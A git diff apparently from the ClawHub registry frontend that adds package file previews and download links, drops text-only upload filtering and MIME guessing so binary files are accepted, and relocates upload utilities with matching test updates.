+166,7 @@ export function SkillFilesPanel({ versionId, latestFiles }: SkillFilesPanelProps const handleSelect = useCallback( (path: string) => { if (!versionId) return; - if (selectedPath === path && (isLoading || fileContent !== null)) return; + if (selectedPath === path && (isLoading || fileMeta !== null)) return; const cacheKey = `${versionId}:${path}`; const cached = fileCache.current.get(cacheKey); @@ -173,7 +188,7 @@ export function SkillFilesPanel({ versionId, latestFiles }: SkillFilesPanelProps setFileContent(null); setFileMeta(null); setIsLoading(true); - void getFileText({ versionId, path }) + void getFilePreview({ versionId, path }) .then((data) => { if (!isMounted.current) return; if (requestId.current !== current) return; @@ -191,7 +206,7 @@ export function SkillFilesPanel({ versionId, latestFiles }: SkillFilesPanelProps setViewerMinHeight(undefined); }); }, - [fileContent, getFileText, isLoading, selectedPath, versionId], + [fileMeta, getFilePreview, isLoading, selectedPath, versionId], ); const handleBack = () => { @@ -273,6 +288,17 @@ export function SkillFilesPanel({ versionId, latestFiles }: SkillFilesPanelProps ) : null}
+ {downloadUrl ? ( + + + ) : null} {canWrap ? ( @@ -291,6 +317,13 @@ export function SkillFilesPanel({ versionId, latestFiles }: SkillFilesPanelProps 
                   {fileContent}
+ ) : downloadUrl ? ( +
+
) : null}
{isViewerLoading ? ( diff --git a/src/components/SkillSecurityScanResults.test.tsx b/src/components/SkillSecurityScanResults.test.tsx index 9b937f22..9e865dd0 100644 --- a/src/components/SkillSecurityScanResults.test.tsx +++ b/src/components/SkillSecurityScanResults.test.tsx @@ -520,6 +520,48 @@ describe("SecurityScanResults static guidance", () => { ).toEqual(["Overview", "SkillSpector", "VirusTotal"]); }); + it("loads plugin SkillSpector snippets through the package text-preview contract", async () => { + const fetchMock = vi + .spyOn(globalThis, "fetch") + .mockResolvedValue(new Response("first\nmatched line\nthird\n")); + const analysis: SkillSpectorAnalysis = { + ...skillSpectorAnalysis, + issues: [ + { + ...skillSpectorAnalysis.issues[0], + file: "main.tf", + startLine: 2, + endLine: 2, + codeSnippet: undefined, + }, + ], + }; + + render( + , + ); + + await waitFor(() => expect(fetchMock).toHaveBeenCalledTimes(1)); + const requestInput = fetchMock.mock.calls[0]?.[0]; + expect(typeof requestInput).toBe("string"); + if (typeof requestInput !== "string") throw new Error("Expected a string request URL"); + const requestUrl = new URL(requestInput, "https://clawhub.ai"); + expect(requestUrl.pathname).toBe("/api/v1/packages/terraform-plugin/file"); + expect(requestUrl.searchParams.get("path")).toBe("main.tf"); + expect(requestUrl.searchParams.get("version")).toBe("2.0.0"); + expect(requestUrl.searchParams.get("preview")).toBe("1"); + expect(await screen.findByText("matched line")).toBeTruthy(); + }); + it("uses ClawScan only for the security audit outcome", () => { const { container } = render( { const url = new URL(requestUrl); expect(url.searchParams.get("path")).toBe("README.md"); expect(url.searchParams.get("version")).toBe("1.0.0"); + expect(url.searchParams.get("preview")).toBe("1"); }); it("returns an empty package detail payload on 404", async () => { @@ -515,6 +516,18 @@ describe("fetchPackages", () => { expect(url.pathname).toBe("/api/v1/packages/example-ai-plugin/file"); expect(url.searchParams.get("path")).toBe("skills/research/SKILL.md"); expect(url.searchParams.get("version")).toBe("1.2.3"); + expect(url.searchParams.get("preview")).toBe("1"); + }); + + it("returns null when a package file cannot be previewed as text", async () => { + vi.stubEnv("VITE_CONVEX_URL", "https://registry.example"); + vi.spyOn(globalThis, "fetch").mockResolvedValue( + new Response("File cannot be previewed as text", { status: 415 }), + ); + + await expect( + fetchPackageFile("example-ai-plugin", "assets/payload.bin", "1.2.3"), + ).resolves.toBeNull(); }); it("fetches scoped package version history with pagination", async () => { diff --git a/src/lib/packageApi.ts b/src/lib/packageApi.ts index 372cf06b..b5b9effc 100644 --- a/src/lib/packageApi.ts +++ b/src/lib/packageApi.ts @@ -536,10 +536,16 @@ export async function fetchPackageReadme( ): Promise { const url = await packageApiUrl(`${ApiRoutes.packages}/${encodeURIComponent(name)}/file`); url.searchParams.set("path", "README.md"); + url.searchParams.set("preview", "1"); if (version) url.searchParams.set("version", version); const response = await packageFetch(url, "text/plain"); if (response.ok) return await response.text(); - if (response.status === 403 || response.status === 404 || response.status === 423) { + if ( + response.status === 403 || + response.status === 404 || + response.status === 415 || + response.status === 423 + ) { return null; } throw await createPackageApiError(response); @@ -552,10 +558,16 @@ export async function fetchPackageFile( ): Promise { const url = await packageApiUrl(`${ApiRoutes.packages}/${encodeURIComponent(name)}/file`); url.searchParams.set("path", path); + url.searchParams.set("preview", "1"); if (version) url.searchParams.set("version", version); const response = await packageFetch(url, "text/plain"); if (response.ok) return await response.text(); - if (response.status === 403 || response.status === 404 || response.status === 423) { + if ( + response.status === 403 || + response.status === 404 || + response.status === 415 || + response.status === 423 + ) { return null; } throw await createPackageApiError(response); diff --git a/src/lib/packageUpload.test.ts b/src/lib/packageUpload.test.ts index c1b976c9..2363bc21 100644 --- a/src/lib/packageUpload.test.ts +++ b/src/lib/packageUpload.test.ts @@ -105,7 +105,7 @@ describe("buildPackageUploadEntries", () => { expect(uploaded.map((entry) => entry.path)).toEqual(["package.json", "dist/index.js"]); }); - it("normalizes misleading text MIME types in upload entries", async () => { + it("preserves supplied MIME hints without extension-based rewriting", async () => { const uploaded = await buildPackageUploadEntries( [ { @@ -121,7 +121,7 @@ describe("buildPackageUploadEntries", () => { }, ); - expect(uploaded[0]?.contentType).toBe("application/typescript"); + expect(uploaded[0]?.contentType).toBe("video/mp2t"); }); it("keeps nested archive paths when files do not have webkitRelativePath", async () => { diff --git a/src/lib/packageUpload.ts b/src/lib/packageUpload.ts index 3066cab9..60120abb 100644 --- a/src/lib/packageUpload.ts +++ b/src/lib/packageUpload.ts @@ -1,4 +1,4 @@ -import { normalizeTextContentType } from "clawhub-schema/textFiles"; +import { normalizeContentType } from "clawhub-schema/textFiles"; import ignore from "ignore"; type NormalizePackageUploadPathOptions = { @@ -140,7 +140,7 @@ export async function buildPackageUploadEntries { expect(result.map((file) => file.name)).toEqual(["SKILL.md", "docs/readme.txt"]); }); - it("unwraps top-level folders in zip archives", async () => { + it("unwraps top-level folders and preserves mixed skill artifacts", async () => { const zip = zipSync({ "hetzner-cloud-skill/SKILL.md": strToU8("hello"), "hetzner-cloud-skill/docs/readme.txt": strToU8("doc"), + "hetzner-cloud-skill/main.tf": strToU8('resource "null_resource" "demo" {}\n'), "__MACOSX/._SKILL.md": strToU8("junk"), "hetzner-cloud-skill/._notes.txt": strToU8("junk3"), "hetzner-cloud-skill/.DS_Store": strToU8("junk2"), - "hetzner-cloud-skill/screenshot.png": strToU8("not-really-a-png"), + "hetzner-cloud-skill/assets/payload.bin": Uint8Array.from([0, 1, 2, 255]), }); const zipFile = new File([Uint8Array.from(zip).buffer], "pack.zip", { type: "application/zip", }); const result = await expandFiles([zipFile]); - expect(result.map((file) => file.name)).toEqual(["SKILL.md", "docs/readme.txt"]); - const png = result.find((file) => file.name.endsWith(".png")); - expect(png).toBeUndefined(); + expect(result.map((file) => file.name)).toEqual([ + "SKILL.md", + "docs/readme.txt", + "main.tf", + "assets/payload.bin", + ]); + await expect(result.at(-1)?.arrayBuffer()).resolves.toEqual( + Uint8Array.from([0, 1, 2, 255]).buffer, + ); }); it("keeps binary files from archives when requested", async () => { @@ -99,9 +106,7 @@ describe("expandFiles", () => { const zipFile = new File([Uint8Array.from(zip).buffer], "pack.zip", { type: "application/zip", }); - const report = await expandFilesWithReport([zipFile], { - includeBinaryArchiveFiles: true, - }); + const report = await expandFilesWithReport([zipFile]); expect(report.files.map((file) => file.name)).toEqual(["package.json", "dist/module.wasm"]); }); @@ -157,9 +162,7 @@ describe("expandFiles", () => { const tgzFile = new File([Uint8Array.from(tgz).buffer], "bundle.tgz", { type: "application/gzip", }); - const report = await expandFilesWithReport([tgzFile], { - includeBinaryArchiveFiles: true, - }); + const report = await expandFilesWithReport([tgzFile]); expect(report.files.map((file) => file.name)).toEqual(["package.json", "dist/loader.node"]); }); diff --git a/src/lib/uploadFiles.ts b/src/lib/uploadFiles.ts index 649daa9d..54fb4016 100644 --- a/src/lib/uploadFiles.ts +++ b/src/lib/uploadFiles.ts @@ -1,36 +1,11 @@ -import { TEXT_FILE_EXTENSION_SET } from "clawhub-schema/textFiles"; import { gunzipSync, unzipSync } from "fflate"; -const TEXT_TYPES = new Map([ - ["md", "text/markdown"], - ["markdown", "text/markdown"], - ["txt", "text/plain"], - ["json", "application/json"], - ["yaml", "text/yaml"], - ["yml", "text/yaml"], - ["toml", "text/plain"], - ["js", "text/javascript"], - ["ts", "text/plain"], - ["tsx", "text/plain"], - ["jsx", "text/plain"], - ["css", "text/css"], - ["html", "text/html"], - ["svg", "image/svg+xml"], -]); - type ExpandFilesReport = { files: File[]; ignoredLocalMetadataPaths: string[]; }; -type ExpandFilesOptions = { - includeBinaryArchiveFiles?: boolean; -}; - -export async function expandFilesWithReport( - selected: File[], - options: ExpandFilesOptions = {}, -): Promise { +export async function expandFilesWithReport(selected: File[]): Promise { const expanded: File[] = []; const ignoredLocalMetadataPaths: string[] = []; for (const file of selected) { @@ -41,13 +16,12 @@ export async function expandFilesWithReport( expanded, ignoredLocalMetadataPaths, Object.entries(entries).map(([path, data]) => ({ path, data })), - options, ); continue; } if (lower.endsWith(".tar.gz") || lower.endsWith(".tgz")) { const unpacked = gunzipSync(new Uint8Array(await readArrayBuffer(file))); - pushArchiveEntries(expanded, ignoredLocalMetadataPaths, untar(unpacked), options); + pushArchiveEntries(expanded, ignoredLocalMetadataPaths, untar(unpacked)); continue; } if (lower.endsWith(".gz")) { @@ -139,7 +113,6 @@ function pushArchiveEntries( target: File[], ignoredLocalMetadataPaths: string[], entries: Array<{ path: string; data: Uint8Array }>, - options: ExpandFilesOptions = {}, ) { const normalized: Array<{ path: string; data: Uint8Array }> = []; @@ -150,7 +123,6 @@ function pushArchiveEntries( ignoredLocalMetadataPaths.push(path); continue; } - if (!options.includeBinaryArchiveFiles && !isTextPath(path)) continue; normalized.push({ path, data: entry.data }); } @@ -193,11 +165,7 @@ async function readArrayBuffer(file: Blob) { } function guessContentType(path: string) { - const ext = path.split(".").pop()?.toLowerCase(); - if (!ext) return "application/octet-stream"; - const known = TEXT_TYPES.get(ext); - if (known) return known; - if (TEXT_FILE_EXTENSION_SET.has(ext)) return "text/plain"; + void path; return "application/octet-stream"; } @@ -272,14 +240,6 @@ function isLocalMetadataPath(path: string) { return false; } -function isTextPath(path: string) { - const normalized = path.trim().toLowerCase(); - const parts = normalized.split("."); - const extension = parts.length > 1 ? (parts.at(-1) ?? "") : ""; - if (!extension) return false; - return TEXT_FILE_EXTENSION_SET.has(extension); -} - type WebkitDataTransferItem = DataTransferItem & { webkitGetAsEntry?: () => FileSystemEntry | null; }; diff --git a/src/lib/uploadUtils.test.ts b/src/lib/uploadUtils.test.ts index fd95d8b9..04df864b 100644 --- a/src/lib/uploadUtils.test.ts +++ b/src/lib/uploadUtils.test.ts @@ -1,12 +1,5 @@ import { describe, expect, it, vi } from "vitest"; -import { - formatBytes, - formatPublishError, - hashFile, - isTextFile, - readText, - uploadFile, -} from "./uploadUtils"; +import { formatBytes, formatPublishError, hashFile, readText, uploadFile } from "./uploadUtils"; describe("uploadUtils", () => { it("formats byte counts", () => { @@ -36,12 +29,6 @@ describe("uploadUtils", () => { expect(formatPublishError("wat")).toBe("Publish failed. Please try again."); }); - it("detects text files via MIME type and extension", () => { - expect(isTextFile(new File(["x"], "data.bin", { type: "text/plain" }))).toBe(true); - expect(isTextFile(new File(["x"], "README.md", { type: "" }))).toBe(true); - expect(isTextFile(new File(["x"], "image.png", { type: "" }))).toBe(false); - }); - it("reads text from Blobs and string body fallbacks", async () => { expect(await readText(new Blob(["hello"]))).toBe("hello"); expect(await readText("yo" as unknown as Blob)).toBe("yo"); @@ -57,13 +44,13 @@ describe("uploadUtils", () => { const id = await uploadFile("https://example.com/upload", new File(["x"], "x.txt")); expect(id).toBe("st_123"); expect(fetchMock.mock.calls[0]?.[1]).toMatchObject({ - headers: { "Content-Type": "text/plain" }, + headers: { "Content-Type": "application/octet-stream" }, }); vi.unstubAllGlobals(); }); - it("normalizes misleading upload MIME types for TypeScript files", async () => { + it("preserves supplied upload MIME types without extension guessing", async () => { const fetchMock = vi.fn().mockResolvedValue({ ok: true, json: async () => ({ storageId: "st_123" }), @@ -75,7 +62,7 @@ describe("uploadUtils", () => { new File(["x"], "src/index.ts", { type: "video/mp2t" }), ); expect(fetchMock.mock.calls[0]?.[1]).toMatchObject({ - headers: { "Content-Type": "application/typescript" }, + headers: { "Content-Type": "video/mp2t" }, }); vi.unstubAllGlobals(); diff --git a/src/lib/uploadUtils.ts b/src/lib/uploadUtils.ts index d20caf09..bb513953 100644 --- a/src/lib/uploadUtils.ts +++ b/src/lib/uploadUtils.ts @@ -1,14 +1,8 @@ -import { - isTextContentType, - normalizeTextContentType, - TEXT_FILE_EXTENSION_SET, -} from "clawhub-schema/textFiles"; +import { normalizeContentType } from "clawhub-schema/textFiles"; import { getUserFacingConvexError } from "./convexError"; export async function uploadFile(uploadUrl: string, file: File) { - const path = file.webkitRelativePath || file.name; - const contentType = - normalizeTextContentType(path, file.type) || file.type || "application/octet-stream"; + const contentType = normalizeContentType(file.type) || file.type || "application/octet-stream"; const response = await fetch(uploadUrl, { method: "POST", headers: { "Content-Type": contentType }, @@ -49,16 +43,6 @@ export function formatPublishError(error: unknown) { return getUserFacingConvexError(error, "Publish failed. Please try again."); } -export function isTextFile(file: File) { - const path = (file.webkitRelativePath || file.name).trim().toLowerCase(); - if (!path) return false; - const parts = path.split("."); - const extension = parts.length > 1 ? (parts.at(-1) ?? "") : ""; - if (file.type && isTextContentType(file.type)) return true; - if (extension && TEXT_FILE_EXTENSION_SET.has(extension)) return true; - return false; -} - export async function readText(blob: Blob) { if (typeof (blob as Blob & { text?: unknown }).text === "function") { return (blob as Blob & { text: () => Promise }).text(); diff --git a/src/routes/plugins/publish.tsx b/src/routes/plugins/publish.tsx index 3c51a171..817d7e8d 100644 --- a/src/routes/plugins/publish.tsx +++ b/src/routes/plugins/publish.tsx @@ -48,8 +48,8 @@ import { derivePluginPrefill, listPrefilledFields } from "../../lib/pluginPublis import { buildPluginDetailHref, displayPluginPackageName } from "../../lib/pluginRoutes"; import { buildReadmeAssetBaseUrl } from "../../lib/readmeAssetBaseUrl"; import { expandFilesWithReport } from "../../lib/uploadFiles"; +import { formatPublishError, hashFile, uploadFile } from "../../lib/uploadUtils"; import { useAuthStatus } from "../../lib/useAuthStatus"; -import { formatPublishError, hashFile, uploadFile } from "../upload/-utils"; export const Route = createFileRoute("/plugins/publish")({ validateSearch: (search) => ({ @@ -426,9 +426,7 @@ export function PublishPluginRoute() { }, [readmeAssetReport, sourceRepo, sourceCommit, sourcePath]); const onPickFiles = async (selected: File[], sourceKind: PackagePickSource) => { - const expanded = await expandFilesWithReport(selected, { - includeBinaryArchiveFiles: true, - }); + const expanded = await expandFilesWithReport(selected); const filtered = await filterIgnoredPackageFiles(expanded.files); const normalized = normalizePackageUploadFiles(filtered.files); const nextIgnoredPaths = [ diff --git a/src/routes/settings.tsx b/src/routes/settings.tsx index 25e9112f..0839b1aa 100644 --- a/src/routes/settings.tsx +++ b/src/routes/settings.tsx @@ -73,8 +73,8 @@ import { ToggleGroup, ToggleGroupItem } from "../components/ui/toggle-group"; import { getUserFacingConvexError } from "../lib/convexError"; import { useThemeMode } from "../lib/theme"; import { timeAgo } from "../lib/timeAgo"; +import { uploadFile } from "../lib/uploadUtils"; import { useAuthStatus } from "../lib/useAuthStatus"; -import { uploadFile } from "./upload/-utils"; const settingsViews = ["account", "organizations", "githubSources", "tokens", "danger"] as const; type SettingsView = (typeof settingsViews)[number]; diff --git a/src/routes/skills/publish.tsx b/src/routes/skills/publish.tsx index 1ef7fc80..20af5314 100644 --- a/src/routes/skills/publish.tsx +++ b/src/routes/skills/publish.tsx @@ -5,7 +5,7 @@ import { PLATFORM_SKILL_LICENSE_NAME, PLATFORM_SKILL_LICENSE_SUMMARY, } from "clawhub-schema/licenseConstants"; -import { normalizeTextContentType } from "clawhub-schema/textFiles"; +import { normalizeContentType } from "clawhub-schema/textFiles"; import { useAction, useMutation, useQuery } from "convex/react"; import { Check, @@ -53,15 +53,14 @@ import { } from "../../lib/skillFrontmatter"; import { getPublicSlugCollision } from "../../lib/slugCollision"; import { expandDroppedItems, expandFilesWithReport } from "../../lib/uploadFiles"; -import { useAuthStatus } from "../../lib/useAuthStatus"; import { formatBytes, formatPublishError, hashFile, - isTextFile, readText, uploadFile, -} from "../upload/-utils"; +} from "../../lib/uploadUtils"; +import { useAuthStatus } from "../../lib/useAuthStatus"; const SLUG_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; const SKILL_PUBLISHING_GUIDE_URL = "https://docs.openclaw.ai/clawhub/skill-format"; @@ -228,10 +227,6 @@ export function Upload() { }), [normalizedFileEntries], ); - const unsupportedFileEntries = useMemo( - () => normalizedFileEntries.filter((entry) => !isTextFile(entry.file)), - [normalizedFileEntries], - ); const hasRequiredFile = useMemo( () => normalizedPaths.some((path) => isRequiredSkillFile(path)), [normalizedPaths], @@ -499,14 +494,6 @@ export function Upload() { `Confirm the ownership move from @${existingOwnerHandle} to @${ownerHandle} to publish.`, ); } - if (unsupportedFileEntries.length > 0) { - issues.push( - `Remove unsupported files: ${unsupportedFileEntries - .slice(0, 3) - .map((entry) => entry.path) - .join(", ")}${unsupportedFileEntries.length > 3 ? ", ..." : ""}`, - ); - } if (oversizedFiles.length > 0) { issues.push(`Each file must be 10MB or smaller: ${oversizedFileNames.join(", ")}`); } @@ -530,7 +517,6 @@ export function Upload() { parsedTags.length, acceptedLicenseTerms, files, - unsupportedFileEntries, hasRequiredFile, totalBytes, oversizedFiles.length, @@ -585,7 +571,6 @@ export function Upload() { const visibleFileIssues = validation.issues.filter((issue) => { if (issue.startsWith("Add at least one file")) return hasAttempted; if (issue === REQUIRED_FILE_ISSUE) return false; - if (issue.startsWith("Remove unsupported files")) return shouldShowFileIssues; if (issue.startsWith("Each file")) return shouldShowFileIssues; if (issue.startsWith("Total file size")) return shouldShowFileIssues; return false; @@ -674,12 +659,6 @@ export function Upload() { resetFileInput(); } - function removeUnsupportedFiles() { - setFiles((current) => current.filter((file) => isTextFile(file))); - setPendingFileRemovalIndex(null); - resetFileInput(); - } - async function handleSubmit(event: React.FormEvent) { event.preventDefault(); setHasAttempted(true); @@ -744,7 +723,7 @@ export function Upload() { size: file.size, storageId, sha256, - contentType: normalizeTextContentType(path, file.type) ?? file.type ?? undefined, + contentType: normalizeContentType(file.type) ?? file.type ?? undefined, }); } @@ -902,26 +881,9 @@ export function Upload() { {files.length} files · {sizeLabel}
- {unsupportedFileEntries.length > 0 ? ( -
- - {unsupportedFileEntries.length} unsupported - -
- ) : null}
- {unsupportedFileEntries.length > 0 ? ( - - ) : null}
) : null} - {visibleFileEntries.map(({ file, index, path }) => { - const isUnsupported = !isTextFile(file); + {visibleFileEntries.map(({ index, path }) => { const isConfirmingRemoval = pendingFileRemovalIndex === index; return (
{path} - {isUnsupported ? ( - - Unsupported - - ) : null} {isConfirmingRemoval ? (
@@ -1019,16 +972,7 @@ export function Upload() {
{ignoredLocalMetadataNote ?

{ignoredLocalMetadataNote}

: null} {visibleFileIssues.map((issue) => ( -

- {issue} -

+

{issue}

))}
diff --git a/src/routes/upload/-utils.ts b/src/routes/upload/-utils.ts deleted file mode 100644 index bf587b6e..00000000 --- a/src/routes/upload/-utils.ts +++ /dev/null @@ -1,67 +0,0 @@ -import { - isTextContentType, - normalizeTextContentType, - TEXT_FILE_EXTENSION_SET, -} from "clawhub-schema/textFiles"; -import { getUserFacingConvexError } from "../../lib/convexError"; - -export async function uploadFile(uploadUrl: string, file: File) { - const path = file.webkitRelativePath || file.name; - const contentType = - normalizeTextContentType(path, file.type) || file.type || "application/octet-stream"; - const response = await fetch(uploadUrl, { - method: "POST", - headers: { "Content-Type": contentType }, - body: file, - }); - if (!response.ok) { - throw new Error(`Upload failed: ${await response.text()}`); - } - const payload = (await response.json()) as { storageId: string }; - return payload.storageId; -} - -export async function hashFile(file: File) { - const buffer = - typeof file.arrayBuffer === "function" - ? await file.arrayBuffer() - : await new Response(file).arrayBuffer(); - const hash = await crypto.subtle.digest("SHA-256", new Uint8Array(buffer)); - const bytes = new Uint8Array(hash); - return Array.from(bytes) - .map((byte) => byte.toString(16).padStart(2, "0")) - .join(""); -} - -export function formatBytes(bytes: number) { - if (!Number.isFinite(bytes)) return "0 B"; - const units = ["B", "KB", "MB", "GB"]; - let size = bytes; - let unit = 0; - while (size >= 1024 && unit < units.length - 1) { - size /= 1024; - unit += 1; - } - return `${size.toFixed(size < 10 && unit > 0 ? 1 : 0)} ${units[unit]}`; -} - -export function formatPublishError(error: unknown) { - return getUserFacingConvexError(error, "Publish failed. Please try again."); -} - -export function isTextFile(file: File) { - const path = (file.webkitRelativePath || file.name).trim().toLowerCase(); - if (!path) return false; - const parts = path.split("."); - const extension = parts.length > 1 ? (parts.at(-1) ?? "") : ""; - if (file.type && isTextContentType(file.type)) return true; - if (extension && TEXT_FILE_EXTENSION_SET.has(extension)) return true; - return false; -} - -export async function readText(blob: Blob) { - if (typeof (blob as Blob & { text?: unknown }).text === "function") { - return (blob as Blob & { text: () => Promise }).text(); - } - return new Response(blob as BodyInit).text(); -} diff --git a/src/styles.css b/src/styles.css index 9cefbc51..c8ef9e3a 100644 --- a/src/styles.css +++ b/src/styles.css @@ -11300,6 +11300,22 @@ code { gap: 4px; } +.file-viewer-download { + display: inline-grid; + width: 30px; + height: 30px; + place-items: center; + border-radius: var(--r-btn); + color: var(--ink-soft); +} + +.file-viewer-download:hover, +.file-viewer-download:focus-visible { + background: color-mix(in srgb, var(--ink) 6%, transparent); + color: var(--ink); + outline: none; +} + .file-viewer-body { min-height: 0; max-height: min(66vh, 720px);